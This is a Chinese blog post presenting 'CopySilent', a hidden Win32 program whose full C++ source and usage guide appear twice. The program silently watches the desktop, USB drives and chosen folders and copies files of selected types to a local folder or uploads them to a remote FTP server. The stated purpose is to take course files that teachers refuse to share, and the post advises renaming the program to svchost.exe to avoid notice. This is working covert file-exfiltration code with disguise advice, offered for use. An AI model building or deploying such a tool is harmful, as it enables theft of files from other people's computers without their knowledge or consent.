[CopySilent]纪念本菜当年第一个Win32程序
2012-01-27 23:30
387 查看
2009/12
1.简介
本程序旨在于对付不给拷课件的老师
软件最终的目的将是设计成为完全隐藏、实时监控、即时网络传输的一款软件正式版已经发布
copysilent是一款监控备份文件的软件,可以监控特定位置(桌面和U盘)和自定义目录的自定义类型文件,首次发现文件(或者发现文件被改动),即将文件拷贝到指定位置(自定义的本地备份目录下,或者远程FTP服务器上)。软件运行时隐藏窗口,但是可以在进程管理器里面发现进程,不想被发现的可以把程序重命名为svchost.exe等系统进程名。按下Win+Esc退出程序。
默认的配置如下面的一张图片(默认FTPserver=false图上为改动过的),默认本地备份开启,目录为D:\copysilent,默认FTP上传关闭,默认匿名登录,目录为/copysilent。
[b]2.软件的功能&&特性[/b]
1.文件拷贝记录,记录未更新的文件,不再拷贝([v0.5已实现])
2.增加对U盘等可移动设备的检测支持[v0.8已实现]
3.增加深层监控,深层文件夹检测[v0.7已经实现]
4.FTP上传功能,传输到指定FTP服务器[敬请期待v1.0正式版]
5.自定义监控文件类型功能([v0.6已实现])
6.自定义监控目标功能[v0.8已实现]
7.自定义备份路径功能([v0.6已实现])
8.备份文件至FTP远程服务器(v1.0正式版已实现)
3.使用教程
1.拷贝本程序至要监控电脑上(任何位置),如果没有配置文件config.ini,可以先运行一遍程序
(win+ESC退出,如果与系统热键冲突,只能使用任务管理器结束了),程序会自动生成默认的
配置文件config.ini,建议现在自己电脑上把配置文件配置好,将配置文件连同程序一道拷贝到监
控的机器上
2.v1.1版本新增可视化配置窗口,热键为WIN+C(即Configure,如果此热键已经被注册,则只能通过以下老办法修改配置文件)
[b]2.按照自己的要求修改配置文件:(不是蓝字的行,都是参数行,自行修改)
文件的默认配置为:
[BackTarget] =>备份至:
LocalDisk=true =>本地(true开启,false关闭,默认true)
FtpServer=false =>FTP服务器(true开启,false关闭,默认false)
[BackPath] =>本地备份目录:
Dir=D:\CopySilent =>本地备份目录,只能写一个(默认D:\CopySilent)
[FTPserver] =>FTP服务器配置:
ServerAdr=127.0.0.1 =>服务器IP,即你寝室电脑的IP,在寝室开服务器的时候看下
Username=anonymous =>服务器登录用户名(这个和密码可以建服务器的时候建一个匿名账号,这样就不用修改这两项了)
Userpassword= =>登录密码
[SpecialTarget] =>特殊监控位置:
Desktop=true =>桌面(true开启,false关闭,默认true)
RemovableDisk=true =>可移动设备(true开启,false关闭,默认true)
[CustomizeTarget] =>自定义监控位置:
Path= =>自定义路径,格式为:D:\aaa\bbb,注意结尾不要“\”
[Type] =>监控文件类型,即后缀,可自己添加
Name=.ppt|.txt|.png =>使用“|”隔开,注意不能缺少“.”,即“.doc”
3.保存配置文件,注意:如果当前程序在运行,注意重启程序,使配置生效!!
4.运行程序
[/b]
[b]程序运行提示(下图):
[/b]
[b]程序文件:
[/b]
程序日志:
关键代码:
1.简介
本程序旨在于对付不给拷课件的老师
软件最终的目的将是设计成为完全隐藏、实时监控、即时网络传输的一款软件正式版已经发布
copysilent是一款监控备份文件的软件,可以监控特定位置(桌面和U盘)和自定义目录的自定义类型文件,首次发现文件(或者发现文件被改动),即将文件拷贝到指定位置(自定义的本地备份目录下,或者远程FTP服务器上)。软件运行时隐藏窗口,但是可以在进程管理器里面发现进程,不想被发现的可以把程序重命名为svchost.exe等系统进程名。按下Win+Esc退出程序。
默认的配置如下面的一张图片(默认FTPserver=false图上为改动过的),默认本地备份开启,目录为D:\copysilent,默认FTP上传关闭,默认匿名登录,目录为/copysilent。
[b]2.软件的功能&&特性[/b]
1.文件拷贝记录,记录未更新的文件,不再拷贝([v0.5已实现])
2.增加对U盘等可移动设备的检测支持[v0.8已实现]
3.增加深层监控,深层文件夹检测[v0.7已经实现]
4.FTP上传功能,传输到指定FTP服务器[敬请期待v1.0正式版]
5.自定义监控文件类型功能([v0.6已实现])
6.自定义监控目标功能[v0.8已实现]
7.自定义备份路径功能([v0.6已实现])
8.备份文件至FTP远程服务器(v1.0正式版已实现)
3.使用教程
1.拷贝本程序至要监控电脑上(任何位置),如果没有配置文件config.ini,可以先运行一遍程序
(win+ESC退出,如果与系统热键冲突,只能使用任务管理器结束了),程序会自动生成默认的
配置文件config.ini,建议现在自己电脑上把配置文件配置好,将配置文件连同程序一道拷贝到监
控的机器上
2.v1.1版本新增可视化配置窗口,热键为WIN+C(即Configure,如果此热键已经被注册,则只能通过以下老办法修改配置文件)
[b]2.按照自己的要求修改配置文件:(不是蓝字的行,都是参数行,自行修改)
文件的默认配置为:
[BackTarget] =>备份至:
LocalDisk=true =>本地(true开启,false关闭,默认true)
FtpServer=false =>FTP服务器(true开启,false关闭,默认false)
[BackPath] =>本地备份目录:
Dir=D:\CopySilent =>本地备份目录,只能写一个(默认D:\CopySilent)
[FTPserver] =>FTP服务器配置:
ServerAdr=127.0.0.1 =>服务器IP,即你寝室电脑的IP,在寝室开服务器的时候看下
Username=anonymous =>服务器登录用户名(这个和密码可以建服务器的时候建一个匿名账号,这样就不用修改这两项了)
Userpassword= =>登录密码
[SpecialTarget] =>特殊监控位置:
Desktop=true =>桌面(true开启,false关闭,默认true)
RemovableDisk=true =>可移动设备(true开启,false关闭,默认true)
[CustomizeTarget] =>自定义监控位置:
Path= =>自定义路径,格式为:D:\aaa\bbb,注意结尾不要“\”
[Type] =>监控文件类型,即后缀,可自己添加
Name=.ppt|.txt|.png =>使用“|”隔开,注意不能缺少“.”,即“.doc”
3.保存配置文件,注意:如果当前程序在运行,注意重启程序,使配置生效!!
4.运行程序
[/b]
[b]程序运行提示(下图):
[/b]
[b]程序文件:
[/b]
程序日志:
关键代码:
//全局类 //===监控类型 class houzhuigroup { public: TCHAR data[50][10]; size_t length; BOOL addtohouzhuigroup(TCHAR* temp) { _tcscpy(data[length],temp); length++; return 1; } //构造函数 houzhuigroup() { length=0; } }; //====监控位置类 class target { public: BOOL incdes; BOOL incU; size_t cusTarNum; TCHAR szTarPath[10][MAX_PATH]; BOOL addtolist(TCHAR *s) { _tcscpy(szTarPath[cusTarNum],s); cusTarNum++; return true; }; target() { incdes=true; incU=true; cusTarNum=0; }; }; //====拷贝记录类 class copyedlist { public: size_t length; TCHAR FileName[1000][ MAX_PATH ]; FILETIME ftLastWriteTime[1000]; //构造函数 copyedlist() { length=0; } BOOL addtolist(TCHAR *name,FILETIME *time) { _tcscpy(FileName[length],name); ftLastWriteTime[length].dwLowDateTime=time->dwLowDateTime; ftLastWriteTime[length].dwHighDateTime=time->dwHighDateTime; length++; return 1; } UINT iscopyed(TCHAR *name,FILETIME *time) { for(size_t i=0;i<length;i++) { if(_tcscmp(FileName[i],name)==0)//名字相同 { if(//修改时间相同 ftLastWriteTime[i].dwLowDateTime==time->dwLowDateTime&& ftLastWriteTime[i].dwHighDateTime==time->dwHighDateTime) return 2;//完全相同,不需拷贝 return 1;//文件被修改,修要重命名拷贝 } } return 0;//不存在,需要直接拷贝 } BOOL update(TCHAR *name,FILETIME *time) { for(size_t i=0;i<length;i++) { if(_tcscmp(FileName[i],name)==0) { ftLastWriteTime[i].dwLowDateTime=time->dwLowDateTime; ftLastWriteTime[i].dwHighDateTime=time->dwHighDateTime; return 1; } } return 0;//不存在 } }; // Global Variables: HINSTANCE hInst; // current instance TCHAR szTitle[MAX_LOADSTRING]; // The title bar text TCHAR szWindowClass[MAX_LOADSTRING]; // The title bar text HWND hding; TCHAR sznew[MAX_PATH]; houzhuigroup houzhuidata; copyedlist copylistdata; target targetdata; TCHAR szProgPath[MAX_PATH];//全局程序路径 TCHAR szBackPath[MAX_PATH];//全局备份路径 TCHAR szstdPath[MAX_PATH];//全局STD扫描路径 TCHAR szFTPServername[30];//FTP地址 TCHAR szFTPusername[30]={0};//FTP用户名 TCHAR szFTPuserpass[30]={0};//FTP用户密码 BOOL bToFTP=FALSE;//配置变量 是否toFTP BOOL bToDisk=TRUE;//配置变量 是否toDisk HINTERNET hftpopen;//网络连接句柄 HINTERNET hftp; HANDLE HERRLOG;//程序日志 DWORD dwreal;//程序日志返回参数 // Foward declarations of functions included in this code module: ATOM MyRegisterClass(HINSTANCE hInstance); BOOL InitInstance(HINSTANCE, int); LRESULT CALLBACK WndProc(HWND, UINT, WPARAM, LPARAM); LRESULT CALLBACK About(HWND, UINT, WPARAM, LPARAM); VOID CALLBACK MyTimerProc(HWND hwnd,UINT message,UINT idTimer,DWORD dwTime); BOOL list(TCHAR szPath[MAX_PATH]); BOOL copyproc(TCHAR *pfrom,TCHAR *pto); BOOL isCopyed(WIN32_FIND_DATA wfd); BOOL filetoftpserv(TCHAR *from,TCHAR *to); //BOOL WINAPI WritePrivateProfileString(LPCTSTR lpAppName,LPCTSTR lpKeyName,LPCTSTR lpString,LPCTSTR lpFileName); int APIENTRY WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, int nCmdShow) { // TODO: Place code here. MSG msg; HACCEL hAccelTable; //特殊位置路径 配置参数 TCHAR szboolSpTarDesktop[10]; TCHAR szboolSpTarRemovableDisk[10]; TCHAR szbooltoDisk[10]; TCHAR szbooltoftp[10]; TCHAR szCustomizeTarget[MAX_PATH]; // Initialize global strings LoadString(hInstance, IDS_APP_TITLE, szTitle, MAX_LOADSTRING); LoadString(hInstance, IDC_COPYSILENT, szWindowClass, MAX_LOADSTRING); MyRegisterClass(hInstance); // Perform application initialization: if (!InitInstance (hInstance, nCmdShow)) { return FALSE; } hAccelTable = LoadAccelerators(hInstance, (LPCTSTR)IDC_COPYSILENT); //===========程序开始提示================= MessageBox(NULL,L"程序已运行!同时按下Win+Esc退出程序!",L"CopySilent", MB_OK); //=============初始化程序日志errlog=============== //获取当前工作目录路径 GetModuleFileName(NULL,szProgPath, MAX_PATH); for(size_t i=_tcslen(szProgPath)-1;i!=0;i--) { if(szProgPath[i]==_T('\\')) { szProgPath[i+1]=_T('\0'); break; } } SetCurrentDirectory(szProgPath); HERRLOG=CreateFile(L"ERRLOG.TXT",GENERIC_WRITE,FILE_SHARE_READ|FILE_SHARE_WRITE,NULL,CREATE_ALWAYS,FILE_ATTRIBUTE_NORMAL,NULL); WriteFile(HERRLOG,"Message:初始化ERRLOG成功...\n",sizeof("Message:初始化ERRLOG成功...\n")-1,&dwreal,NULL); //==========初始化系统热键================ BOOL bReg=RegisterHotKey( hding, // window to receive hot-key notification 123, // identifier of hot key MOD_WIN, // key-modifier flags VK_ESCAPE // virtual-key code ); if(!bReg) WriteFile(HERRLOG,"热键注册失败...\n",sizeof("热键注册失败...\n")-1,&dwreal,NULL); //============建立配置文件================== WIN32_FIND_DATA wfd; //获取配置文件路径 wsprintf(szProgPath,L"%sconfig.ini",szProgPath); //开始搜索配置文件 if ( INVALID_HANDLE_VALUE==FindFirstFileW(szProgPath, &wfd) ) { //创建配置文件,默认初始化 WriteFile(HERRLOG,"Message:初始化配置文件...\n",sizeof("Message:初始化配置文件...\n")-1,&dwreal,NULL); WritePrivateProfileString(_T("BackTarget"),_T("LocalDisk"),_T("true"),szProgPath); WritePrivateProfileString(_T("BackTarget"),_T("FtpServer"),_T("false"),szProgPath); WritePrivateProfileString(_T("BackPath"),_T("Dir"),_T("D:\\CopySilent"),szProgPath); WritePrivateProfileString(_T("FTPserver"),_T("ServerAdr"),_T("127.0.0.1"),szProgPath); WritePrivateProfileString(_T("FTPserver"),_T("Username"),_T("anonymous"),szProgPath); WritePrivateProfileString(_T("FTPserver"),_T("Userpassword"),_T(""),szProgPath); WritePrivateProfileString(_T("SpecialTarget"),_T("Desktop"),_T("true"),szProgPath); WritePrivateProfileString(_T("SpecialTarget"),_T("RemovableDisk"),_T("true"),szProgPath); WritePrivateProfileString(_T("CustomizeTarget"),_T("Path"),_T(""),szProgPath); WritePrivateProfileString(_T("Type"),_T("Name"),_T(".ppt|.txt|.png"),szProgPath); } TCHAR szType[MAX_PATH]; TCHAR szTypeGroup[50][10]; TCHAR szTest[50]; size_t typenum=0; size_t j=0; //=========读取创建配置文件=============== WriteFile(HERRLOG,"Message:读取配置文件..\n",sizeof("Message:读取配置文件..\n")-1,&dwreal,NULL); GetPrivateProfileString(L"BackPath",L"Dir",L"D:\\CopySilent",szBackPath,MAX_PATH,szProgPath); GetPrivateProfileString(L"Type",L"Name",L".ppt",szType,MAX_PATH,szProgPath); GetPrivateProfileString(L"SpecialTarget",L"Desktop",L"true",szboolSpTarDesktop,MAX_PATH,szProgPath); GetPrivateProfileString(L"SpecialTarget",L"RemovableDisk",L"true",szboolSpTarRemovableDisk,MAX_PATH,szProgPath); GetPrivateProfileString(L"CustomizeTarget",L"Path",L"",szCustomizeTarget,MAX_PATH,szProgPath); GetPrivateProfileString(L"BackTarget",L"LocalDisk",L"true",szbooltoDisk,MAX_PATH,szProgPath); GetPrivateProfileString(L"BackTarget",L"FtpServer",L"false",szbooltoftp,MAX_PATH,szProgPath); GetPrivateProfileString(L"FTPserver",L"ServerAdr",L"127.0.0.1",szFTPServername,MAX_PATH,szProgPath); GetPrivateProfileString(L"FTPserver",L"Username",L"anonymous",szFTPusername,MAX_PATH,szProgPath); GetPrivateProfileString(L"FTPserver",L"Userpassword",L"",szFTPuserpass,MAX_PATH,szProgPath); //===分析备份方式 if (_tcscmp(szbooltoDisk,_T("false"))==0) { bToDisk=FALSE; } if (_tcscmp(szbooltoftp,_T("true"))==0) { bToFTP=true; } //===添加监控类型 if (_tcscmp(szboolSpTarDesktop,_T("false"))==0) { targetdata.incdes=false; } if (_tcscmp(szboolSpTarRemovableDisk,_T("false"))==0) { targetdata.incU=false; } //------------------------------- for(size_t i2=0;i2!=_tcslen(szType);i2++) { if(szType[i2]==_T('|')) { szTypeGroup[typenum][j]=_T('\0'); j=0; typenum++; continue; } szTypeGroup[typenum][j++]=szType[i2]; } szTypeGroup[typenum][j]=_T('\0'); //===添加监控位置 j=0; for (size_t i4=0;i4!=_tcslen(szCustomizeTarget);i4++) { if (szCustomizeTarget[i4]==_T(',')) { targetdata.szTarPath[targetdata.cusTarNum][j]=_T('\0'); j=0; targetdata.cusTarNum++; continue; } targetdata.szTarPath[targetdata.cusTarNum][j++]=szCustomizeTarget[i4]; } targetdata.szTarPath[targetdata.cusTarNum][j]=_T('\0'); if (szCustomizeTarget[i4-1]!=_T(',')&&i4!=0) { targetdata.cusTarNum++; } //========初始化监视文件类型列表========== for(size_t i3=0;i3<=typenum;i3++) { houzhuidata.addtohouzhuigroup(szTypeGroup[i3]); } //===============建立文件夹 =============== //搜索目标目录 if ( INVALID_HANDLE_VALUE==FindFirstFileW(szBackPath, &wfd) ) { //MessageBox(NULL,wfd.cFileName,L"CopySilent", MB_OK) ; if(CreateDirectory(szBackPath,NULL)==0) { WriteFile(HERRLOG,"创建文件夹失败!程序退出!\n",sizeof("创建文件夹失败!程序退出!\n")-1,&dwreal,NULL); // MessageBox(NULL,L"创建文件夹失败!程序退出!",L"CopySilent", MB_OK) ; return 0; } } //===========建立定时器=================== UINT uResult; // list(szPath); uResult = SetTimer(hding, // handle to main window 1, // timer identifier 5000, // 10-second interval (TIMERPROC) MyTimerProc); // timer callback //========================================= WriteFile(HERRLOG,"Message:准备工作完成...开始监视..\n",sizeof("Message:准备工作完成...开始监视..\n")-1,&dwreal,NULL); // Main message loop: while (GetMessage(&msg, NULL, 0, 0)) { if (!TranslateAccelerator(msg.hwnd, hAccelTable, &msg)) { TranslateMessage(&msg); DispatchMessage(&msg); } } CloseHandle(HERRLOG); return msg.wParam; } LRESULT CALLBACK WndProc(HWND hWnd, UINT message, WPARAM wParam, LPARAM lParam) { int wmId, wmEvent; PAINTSTRUCT ps; HDC hdc; TCHAR szHello[MAX_LOADSTRING]; LoadString(hInst, IDS_HELLO, szHello, MAX_LOADSTRING); switch (message) { //case WM_CREATE: // MessageBox(NULL,L"程序创建",L"...",MB_OK); // PostQuitMessage(0); case WM_COMMAND: wmId = LOWORD(wParam); wmEvent = HIWORD(wParam); // Parse the menu selections: switch (wmId) { case IDM_ABOUT: DialogBox(hInst, (LPCTSTR)IDD_ABOUTBOX, hWnd, (DLGPROC)About); break; case IDM_EXIT: DestroyWindow(hWnd); break; default: return DefWindowProc(hWnd, message, wParam, lParam); } break; case WM_PAINT: hdc = BeginPaint(hWnd, &ps); EndPaint(hWnd, &ps); break; //============定义热键响应================== case WM_HOTKEY: MessageBox(NULL,L"程序退出!!!",L"CopySilent", MB_OK); PostQuitMessage(0); //========================================== case WM_DESTROY: KillTimer(hWnd,1); PostQuitMessage(0); break; default: return DefWindowProc(hWnd, message, wParam, lParam); } return 0; } // Mesage handler for about box. LRESULT CALLBACK About(HWND hDlg, UINT message, WPARAM wParam, LPARAM lParam) { switch (message) { case WM_INITDIALOG: return TRUE; case WM_COMMAND: if (LOWORD(wParam) == IDOK || LOWORD(wParam) == IDCANCEL) { EndDialog(hDlg, LOWORD(wParam)); return TRUE; } break; } return FALSE; } VOID CALLBACK MyTimerProc( HWND hwnd, // handle to window for timer messages UINT message, // WM_TIMER message UINT idTimer, // timer identifier DWORD dwTime) // current system time { //变量声明 TCHAR szDrives[MAX_PATH]; TCHAR *pszDrives; size_t lengthofdrvpath; static bool running=false; char szErr[MAX_PATH]; //检测函数运行标记~~~ if (running) { return ; } else running=true; //特殊位置扫描 if (targetdata.incdes==true) { SHGetSpecialFolderPath(NULL,szstdPath,CSIDL_DESKTOP,false); list(szstdPath); } if (targetdata.incU==true) { GetLogicalDriveStrings(MAX_PATH,szDrives); pszDrives=szDrives; lengthofdrvpath=_tcslen(szDrives); while (*pszDrives!=L'\0') { if (GetDriveType(pszDrives)==DRIVE_REMOVABLE) { // MessageBox(NULL,L"插入了U盘",L"CopySilent", MB_OK); pszDrives[lengthofdrvpath-1]=L'\0'; wsprintf(szstdPath,L"%s",pszDrives); sprintf(szErr,"Message:扫描U盘..%S\n",szstdPath); WriteFile(HERRLOG,szErr,strlen(szErr),&dwreal,NULL); list(szstdPath); } pszDrives+=lengthofdrvpath+1; } // MessageBox(NULL,szDrives,L"CopySilent", MB_OK); } //自定义位置扫描 for (size_t i5=0;i5!=targetdata.cusTarNum;i5++) { _tcscpy(szstdPath,targetdata.szTarPath[i5]); //MessageBox(NULL,szstdPath,L"CopySilent", MB_OK); list(szstdPath); } //重新结束函数标记... sprintf(szErr,"Flag:例行扫描完成\n"); WriteFile(HERRLOG,szErr,strlen(szErr),&dwreal,NULL); //关闭网络句柄 InternetCloseHandle(hftp); InternetCloseHandle(hftpopen); running=false; } BOOL list(TCHAR szPath[MAX_PATH]) { setlocale(LC_CTYPE, "chs"); //变量声明 TCHAR szPath2[MAX_PATH]={0}; TCHAR szPath0[MAX_PATH]={0}; TCHAR szPath3[MAX_PATH]={0}; TCHAR szPath4[MAX_PATH]={0}; TCHAR szPath6[MAX_PATH]={0}; TCHAR szPath7[MAX_PATH]={0}; TCHAR szPath8[MAX_PATH]={0}; TCHAR des[MAX_PATH]={0}; TCHAR szHouzhui[MAX_PATH]; TCHAR szNewFileName[MAX_PATH]={0}; HANDLE WINAPI hfiles; HANDLE WINAPI hfiles2; WIN32_FIND_DATA wfd; WIN32_FIND_DATA wfd2; size_t i1; size_t i; size_t inum=0;//拷贝字符串,下标 _tcscpy(szPath2,szPath);//szPath2为原始路径,不含文件名 _tcscpy(szPath0,szPath); _tcscat(szPath0,L"\\*.*" ); TCHAR *gethouzhui(TCHAR szHouzhui[MAX_PATH]); TCHAR *sznewHZ; //=============开始first搜索================ if ( INVALID_HANDLE_VALUE !=(hfiles= FindFirstFileW(szPath0, &wfd )) ) { //如果是目录则递归 // WriteFile(HERRLOG,"搜索目标文件夹..\n",sizeof("搜索目标文件夹..\n")-1,&dwreal,NULL); do{ if(wfd.dwFileAttributes==FILE_ATTRIBUTE_DIRECTORY&&wcscmp(wfd.cFileName,_T("."))!=0&&wcscmp(wfd.cFileName,_T(".."))!=0) { TCHAR szPath5[MAX_PATH]; wsprintf(szPath5,L"%s\\%s",szPath2,wfd.cFileName); list(szPath5); } //声明get后缀函数 TCHAR *gethouzhui(TCHAR szHouzhui[MAX_PATH]); //get后缀 sznewHZ=gethouzhui(wfd.cFileName); _tcscpy(szHouzhui,sznewHZ); //开始搜索待复制项目 for(size_t i=0;i<houzhuidata.length;i++) { if (_tcscmp(szHouzhui,houzhuidata.data[i])==0) { wsprintf(szPath8,L"%s\\%s",szPath,wfd.cFileName);//获取文件路径 UINT copyid=copylistdata.iscopyed(szPath8,&wfd.ftLastWriteTime); // MessageBox(NULL,houzhuidata.data[i],L"CopySilent", MB_OK); if(copyid==0) { copylistdata.addtolist(szPath8,&wfd.ftLastWriteTime); } switch(copyid) { case 0://正常拷贝 szPath3[0]='\0'; _tcscpy(szPath3,szPath2); _tcscat(szPath3,L"\\"); _tcscat(szPath3,wfd.cFileName); szPath3[_tcslen(szPath3)+1]='\0'; szPath3[_tcslen(szPath3)+2]='\0'; //生成 层次备份目录 inum=0; // MessageBox(NULL,szstdPath,L"CopySilent", MB_OK); for(i=_tcslen(szstdPath);i<_tcslen(szPath3);i++) { szPath6[inum++]=szPath3[i]; } szPath6[inum]=L'\0'; // MessageBox(NULL,szPath6,L"CopySilent", MB_OK); wsprintf(szPath7,L"%s%s",szBackPath,szPath6); //开始拷贝: //网络传输: if (bToFTP) { filetoftpserv(szPath3,szPath6); } if (bToDisk) { copyproc(szPath3,szPath7); } break; case 1://重命名拷贝 #ifdef DUBUG MessageBox(NULL,L"重命名拷贝!!",L"CopySilent", MB_OK); #endif i1=1; //生成 层次备份目录 inum=0; for(i=_tcslen(szstdPath);i<_tcslen(szPath2);i++) { szPath6[inum++]=szPath2[i]; } szPath6[inum]=L'\0';//sz6是层次目录,"\abc" if (bToFTP) { filetoftpserv(szPath8,szPath6); } if (!bToDisk) break; while(1) { if(i1==100) { WriteFile(HERRLOG,"ERROR:100次重名..小兔很崩溃 不给你拷贝了...\n",sizeof("ERROR:100次重名..小兔很崩溃 不给你拷贝了...\n")-1,&dwreal,NULL); break; } wsprintf(szNewFileName,L"%s\\%s",szPath2,wfd.cFileName); wsprintf(des,L"%s\\(%d)%s",szPath7,i1++,wfd.cFileName); #ifdef DEBUG MessageBox(NULL,szNewFileName,L"CopySilent", MB_OK); #endif //查找是否重名 if(INVALID_HANDLE_VALUE !=(hfiles2= FindFirstFileW(des,&wfd2 ))) { continue; } else break; } szNewFileName[_tcslen(szNewFileName)+1]='\0'; if(copyproc(szNewFileName,des)) copylistdata.update(szNewFileName,&wfd.ftLastWriteTime); break; case 2://无需拷贝 #ifdef DUBUG // MessageBox(NULL,L"文件已最新 -无需再拷贝!",L"CopySilent", MB_OK); #endif break; default: WriteFile(HERRLOG,"ERROR:copyid在意料之外!...\n",sizeof("ERROR:copyid在意料之外!...\n")-1,&dwreal,NULL); } } } }while(FindNextFile(hfiles,&wfd)); } else WriteFile(HERRLOG,"ERROR:获取文件列表失败!\n",sizeof("ERROR:获取文件列表失败!\n")-1,&dwreal,NULL); FindClose(hfiles); FindClose(hfiles2); return 0; } TCHAR *gethouzhui(TCHAR szHouzhui[MAX_PATH]){ size_t j=0; for (size_t i=0;i!=_tcslen(szHouzhui);i++) { if (szHouzhui[i]=='.') { j=0; } sznew[j++]=szHouzhui[i]; } sznew[j]='\0'; return sznew; } BOOL copyproc(TCHAR *pfrom,TCHAR *pto){ char szErr[MAX_PATH]; SHFILEOPSTRUCT FileOp={0}; FileOp.fFlags = FOF_NOCONFIRMATION| //FOF_SILENT|//安静那个模式,会导致创建文件夹失败 //FOF_NOERRORUI|//不出现错误提示,会导致创建文件夹失败 FOF_NOCONFIRMMKDIR //需要时直接创建一个文件夹,不需用户确定 ; FileOp.pFrom =pfrom; FileOp.pTo =pto; FileOp.wFunc = FO_COPY; if (0!=SHFileOperation(&FileOp)) { sprintf(szErr,"ERROR:拷贝失败:\n From:%S\nTo :%S\n",pfrom,pto); WriteFile(HERRLOG,szErr,strlen(szErr),&dwreal,NULL); return 0; } WriteFile(HERRLOG,"Message:成功拷贝文件:\n",sizeof("Message:成功拷贝文件:\n")-1,&dwreal,NULL); sprintf(szErr," From:%S\n To :%S\n",pfrom,pto); WriteFile(HERRLOG,szErr,strlen(szErr),&dwreal,NULL); return 1; //return SHFileOperation(&FileOp) == 0; } BOOL filetoftpserv(TCHAR *from,TCHAR *to) { TCHAR szCurDir[MAX_PATH]={0},sztmpPath[MAX_PATH]; TCHAR szerr[500]; int i; unsigned long dwlength=MAX_PATH; char szErr[MAX_PATH]; WIN32_FIND_DATA wfdfile;//find文件类型 HINTERNET hfind;//搜索句柄 sprintf(szErr,"Message:-----------------------------------------------------\n"); WriteFile(HERRLOG,szErr,strlen(szErr),&dwreal,NULL); //修正to字符串 to+=1; //初始化网络连接 if (hftpopen==NULL) { if ((hftpopen=InternetOpen(_T("ftp"),INTERNET_OPEN_TYPE_PRECONFIG,NULL,NULL,0))==NULL) { sprintf(szErr,"ERROR:网络初始化失败...\n"); WriteFile(HERRLOG,szErr,strlen(szErr),&dwreal,NULL); } else { sprintf(szErr,"Message:网络初始化成功...\n"); WriteFile(HERRLOG,szErr,strlen(szErr),&dwreal,NULL); } } else { sprintf(szErr,"Notice:网络已经初始化\n"); WriteFile(HERRLOG,szErr,strlen(szErr),&dwreal,NULL); } //连接FTP if (hftp==NULL) { hftp=InternetConnect(hftpopen,szFTPServername,INTERNET_DEFAULT_FTP_PORT,szFTPusername,szFTPuserpass,INTERNET_SERVICE_FTP,INTERNET_FLAG_RELOAD,0); if (hftp==NULL) { sprintf(szErr,"ERROR:连接ftp服务器失败..\n"); WriteFile(HERRLOG,szErr,strlen(szErr),&dwreal,NULL); } else { sprintf(szErr,"Message:连接ftp服务器成功..\n"); WriteFile(HERRLOG,szErr,strlen(szErr),&dwreal,NULL); } } else { sprintf(szErr,"Notice:ftp服务器已经连接..\n"); WriteFile(HERRLOG,szErr,strlen(szErr),&dwreal,NULL); } //寻找上传目录 if (!(hfind=FtpFindFirstFile(hftp,_T("/copysilent"),&wfdfile,INTERNET_FLAG_RELOAD,NULL))) { sprintf(szErr,"Notice:未发现上传目录..\n"); WriteFile(HERRLOG,szErr,strlen(szErr),&dwreal,NULL); //创建上传目录 if (!FtpCreateDirectory(hftp,_T("copysilent"))) { sprintf(szErr,"ERROR:创建上传目录失败..\n"); WriteFile(HERRLOG,szErr,strlen(szErr),&dwreal,NULL); return false; } else { sprintf(szErr,"Message:创建上传目录成功\n"); WriteFile(HERRLOG,szErr,strlen(szErr),&dwreal,NULL); } } else { sprintf(szErr,"Notice:发现上传目录...\n"); WriteFile(HERRLOG,szErr,strlen(szErr),&dwreal,NULL); } InternetCloseHandle(hfind);//关闭搜索句柄 //设定当前路径 if (!FtpSetCurrentDirectory(hftp,_T("/copysilent"))) { DWORD enumd; TCHAR ss[MAX_PATH]; DWORD len=MAX_PATH; InternetGetLastResponseInfo(&enumd,ss,&len); sprintf(szErr,"ERROR:设置当前上传目录失败:%S\n",ss); WriteFile(HERRLOG,szErr,strlen(szErr),&dwreal,NULL); return false; } else { sprintf(szErr,"Message:设置当前上传目录成功..\n"); WriteFile(HERRLOG,szErr,strlen(szErr),&dwreal,NULL); } //建立层次目录 _tcscpy(sztmpPath,to);//拷贝“to” i=_tcslen(sztmpPath); while (--i>=0) { if (sztmpPath[i]==_T('\\')) { sztmpPath[i]=_T('\0'); if (!FtpCreateDirectory(hftp,sztmpPath)) { DWORD enumd; TCHAR ss[MAX_PATH]; DWORD len=MAX_PATH; InternetGetLastResponseInfo(&enumd,ss,&len); sprintf(szErr,"ERROR:建立层次文件夹失败:%S\n",ss); WriteFile(HERRLOG,szErr,strlen(szErr),&dwreal,NULL); } break; } } FtpSetCurrentDirectory(hftp,sztmpPath); to+=i+1;//确定文件名起始位置 //获取当前路径 if (!FtpGetCurrentDirectory(hftp,szCurDir,&dwlength)) { sprintf(szErr,"ERROR:获取当前路径失败..\n"); WriteFile(HERRLOG,szErr,strlen(szErr),&dwreal,NULL); } else { sprintf(szErr,"Notice:当前FTP路径:%S\n",szCurDir); WriteFile(HERRLOG,szErr,strlen(szErr),&dwreal,NULL); } //上传文件 if (!FtpPutFile(hftp,from,to,FTP_TRANSFER_TYPE_UNKNOWN|INTERNET_FLAG_RELOAD,NULL)) { DWORD enumd; TCHAR ss[MAX_PATH]; DWORD len=MAX_PATH; InternetGetLastResponseInfo(&enumd,ss,&len); sprintf(szErr,"ERROR:上传文件失败:\n%S From:%S\n To :%S\n",ss,from,to); WriteFile(HERRLOG,szErr,strlen(szErr),&dwreal,NULL); return false; } else { sprintf(szErr,"Message:上传文件成功:\n From:%S\n To :%S\n",from,to); WriteFile(HERRLOG,szErr,strlen(szErr),&dwreal,NULL); } return 0; }
相关文章推荐
- 第一个Win32窗口程序,纪念自己的Windows编程之旅
- 我的第一个WIN32 Platform SDK 程序
- DuiLib的第一个win32程序
- 我写的第一个DELPHI的控制台程序,留作纪念。
- OD调试1--第一个win32程序
- 开始学UNIX网络编程了,这是我的第一个网络程序:-)要纪念一下
- 我的第一个win32汇编程序
- 第一个win32程序
- win32第一个程序编译以及解释 ---第二章
- 我的第一个Win32可视程序
- 我的第一个JS程序(像C/C++的程序)。。发来纪念一下
- 哈哈。 我的第一个andriod程序(hello andriod),纪念一下
- Jack's第一个Win32汇编程序HelloWorld
- 俺写的第一个javame程序,纪念一下
- WIN32汇编-第一个窗口程序
- First Win32 App, 第一个Win32 GUI程序
- 晒晒我写的第一个win32程序
- 我的第一个win32 API 程序
- 3D球体一个(纪念第一个opengl程序~~)
- 我的第一个win32窗口程序------------记录